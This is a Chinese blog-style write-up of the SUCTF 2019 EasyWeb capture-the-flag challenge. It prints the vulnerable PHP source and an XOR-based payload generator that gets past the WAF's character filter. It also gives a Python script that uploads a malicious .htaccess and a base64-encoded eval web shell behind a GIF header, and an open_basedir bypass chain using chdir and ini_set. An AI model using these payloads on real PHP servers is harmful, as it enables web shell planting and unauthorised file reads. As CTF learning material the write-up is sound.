[SUCTF 2019]EasyWeb(bypass open_basedir)

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

直接给了源码,快速看了一下,过滤了字母数字,有个get_the_flag()函数,然后最后执行eval,所以思路很显然就是绕过WAF,执行eval函数

再看get_the_flag()函数,是个文件上传点,三段检测,过滤了 .ph 后缀,还有 <? ,最后还会判断是否是图像头

第一步

首先先不管get_the_flag上传怎么绕过,先考虑怎么绕过 eval的检测,想办法去执行eval

知识点

想法是构造这样的形式去执行函数 ?_=$_GET[a]();&a=phpinfo
不知道大家记不记得在php中 ?_=${_GET}{a}() 等价于 $_GET[a]()
用 { }绕过了对 [ ]的检测,其次就是如何构造_GET去绕过对字母的检测
可以使用异或来替换,就像 1^2=2^1
<?php
$l = "";
$r = "";
$argv = str_split("_GET");	# 把 _GET拆开成数组
for($i=0;$i<count($argv);$i++){   
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);    ##进行异或         
        if($k == $argv[$i]){
            if($j<16){  
            #j如果小于16就代表只需一位即可表示,但是url要求是2位所以补个0
                $l .= "%ff";
                $r .= "%0" . dechex($j);
            }
            $l .= "%ff";
            $r .= "%" . dechex($j);
        }
    }
}
echo "\{$l^$r\}";
?>
// 输出结果 {%ff%ff%ff%ff^%A0%B8%BA%AB}

所以 {%ff%ff%ff%ff^%A0%B8%BA%AB} 就是我们构造出的 {_GET}

完整payload去测试一下phpinfo,成功回显
?_=${%A0%B8%BA%AB^%ff%ff%ff%ff}{%ff}();&%ff=phpinfo

eval可以被成功执行,那就成功一半了,现在就是要让eval去执行get_the_flag函数
在这里插入图片描述

第二步

import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .paidx
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_b6e4ebe3b596f721b7308036349a1ccf/shell.paidx"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://45a73175-c06e-41cc-b571-06eab34dd22a.node4.buuoj.cn:81/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"

data = {"upload": "Submit"}
files = {'file': ('.htaccess', htaccess, 'image/jpeg')}

response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file': ('shell.paidx', shell, 'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

首先是先把我们的 shell 传上去,我对一句话进行了一下base64,其他编码也行,主要是绕过对<? 的检测
在这里插入图片描述
然后就是上传.htaccess ,把所有 .paidx后缀的文件解析成php文件,并且自动加载导入我们的shell
在这里插入图片描述
在这里插入图片描述
可以看到蚁剑是可以成功连上的,但是又有一个新的问题

就是我们没有权限去到根目录下找flag,只有一个假flag
在这里插入图片描述
在这里插入图片描述
到这就不会了,看了大师傅们的WP知道这里是做了open_basedir的限制

upload/tmp_86580586cfedc818f0ed1967b7bfe13d/shell.paidx?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));

首先构造一个相对可以上跳的open_basedir

我们这里有上跳的路径我们直接 chdir("img")

然后每次操作chdir("..")都会进一次open_basedir的比对由于相对路径的问题,每次open_basedir的补全都会上跳。

比如初始open_basedir为/a/b/c/d:

第一次chdir后变为/a/b/c,第二次chdir后变为/a/b,第三次chdir后变为/a 第四次chdir后变为/

那么这时候再进行ini_set,调整open_basedir为/即可通过php_check_open_basedir_ex的校验成功覆盖,导致我们可以bypass open_basedir。
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值